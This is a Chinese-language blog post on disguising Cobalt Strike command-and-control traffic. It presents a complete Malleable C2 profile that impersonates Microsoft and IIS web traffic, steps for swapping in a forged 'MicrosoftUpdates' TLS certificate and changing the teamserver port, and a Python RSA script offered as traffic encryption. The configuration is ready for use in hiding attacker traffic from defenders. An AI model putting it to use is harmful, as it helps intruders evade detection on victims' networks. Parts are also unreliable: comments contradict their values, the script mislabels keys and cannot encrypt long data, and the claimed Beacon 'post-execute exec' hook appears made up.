Cobaltstrike流量混淆与加密

目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的

流量混淆、欺骗、加密

Malleable-C2-Profiles构造

Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。
使用方法:./teamserver [external IP] [password] [/path/to/my.profile]
检查方法:./c2lint [/path/to/my.profile]

这里直接放上我个人修改的profile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
set sample_name "Glacier Profile";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "0";# throw in a 10% jitter;
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36";

https-certificate{
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "en";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
set keystore "glacier.store";
set password "glacier123";
}
http-get {
set uri "/pixel.gif";
client {
header "Host" "microsoft.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.baidu.com";
header "Connection" "kepp-alive";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}

server {
header "Content-Type" "application/octet-stream";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
netbios; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}

http-post {
set uri "/email/";
client {
header "Host" "microsoft.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.baidu.com";
header "Content-Type" "application/octet-stream";
header "Connection" "kepp-alive";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
netbios;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
netbios;
print;
}
}
}

该文件的具体细节就不再过多描述了,很多博客或者官网都有相关介绍
接着我们可以用CS自带的c2lint验证一下其正确性(这里我在使用c2lint的时候一直报错,更换了多个版本的CS之后,认为应该是在破解CS时使得原先的解密功能出现问题)
我们使用c2lint主要是为了查看报错信息,验证其正确性,写好的profile在不同版本CS都是可以直接用的
get
post
这里有几个细节,为了使我们伪造的流量更加真实,我构造了 Host: microsoft.comCookie: skin=noskin;session-token=oojkadhmklofeajgobnlkakdnolejdflcsm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996Server: Microsoft-IIS/6.0

更换证书

这里用到jdk自带的一个工具keytool,Keytool是一个Java数据证书的管理工具,将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。
我们这里用到的指令是keytool -genkey -alias glacier -storepass glacier123 -keypass glacier123 -keyalg RSA -validity 36500 -keystore glacier.store
-alias 要处理的条目的别名 -storepass 密钥库口令 -keypass 密钥口令 -keyalg 密钥算法名称 -validity 有效天数 -keystore 密钥库名称
记住这里的store名称与口令
接着填写证书的相关信息

最后修改teamsever,一般都是写在最后一行,将原先的cobalstrike.store更换为我们新生成的glacier.store,把对应的密钥库口令也改成我们新设置的口令
-Djavax.net.ssl.keyStore=./glacier.store -Djavax.net.ssl.keyStorePassword=glacier123
为了避免CS那显眼的50050端口,我们也可以把它改一下,改成2200
使用keytool -list -v -keystore glacier.store 查看一下我们证书的信息,再启动teamsever,对比其是否一致

启动teamsever,客户端能成功连上

流量加密

Cobalt Strike支持自定义的加密和混淆脚本,我们可以写个简单的脚本来对流量进行加密,以此来隐藏其流量特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

def encrypt(data):
key = RSA.generate(2048) # 生成一个 RSA 密钥对
cipher = PKCS1_OAEP.new(key.publickey()) # 创建 PKCS1_OAEP 加密对象
key_str = key.export_key().decode() # 导出公钥字符串
encrypted_key = cipher.encrypt(str(random.randint(1, 1000000)).encode()) # 用公钥加密随机密钥
encrypted_data = base64.b64encode(cipher.encrypt(data.encode())).decode() # 用公钥加密数据并进行 Base64 编码
return key_str, base64.b64encode(encrypted_key).decode(), encrypted_data

def decrypt(key_str, encrypted_key, encrypted_data):
key = RSA.import_key(key_str.encode()) # 导入私钥
cipher = PKCS1_OAEP.new(key) # 创建 PKCS1_OAEP 解密对象
decrypted_key = int(cipher.decrypt(base64.b64decode(encrypted_key))) # 用私钥解密随机密钥
decrypted_data = cipher.decrypt(base64.b64decode(encrypted_data)).decode() # 用私钥解密数据并进行 Base64 解码
return decrypted_data

这里用到的是RSA算法,将数据和一个随机的密钥进行加密
将该脚本上传到server端,可以在Beacon 的配置文件中指定该脚本的路径,并将 post-execute 选项设置为 exec,以便在 Beacon 连接到 C2 服务器时自动执行该脚本。


参考文章:
https://www.freebuf.com/news/189948.html
https://blog.csdn.net/m0_50526465/article/details/116465013#comments_18814516
https://wxiaoge.blog.csdn.net/article/details/126128872?spm=1001.2014.3001.5502


Cobaltstrike流量混淆与加密
https://glacierrrr.online/2023/03/16/Cobaltstrike流量混淆与加密/
作者
Glacier
发布于
2023年3月16日
许可协议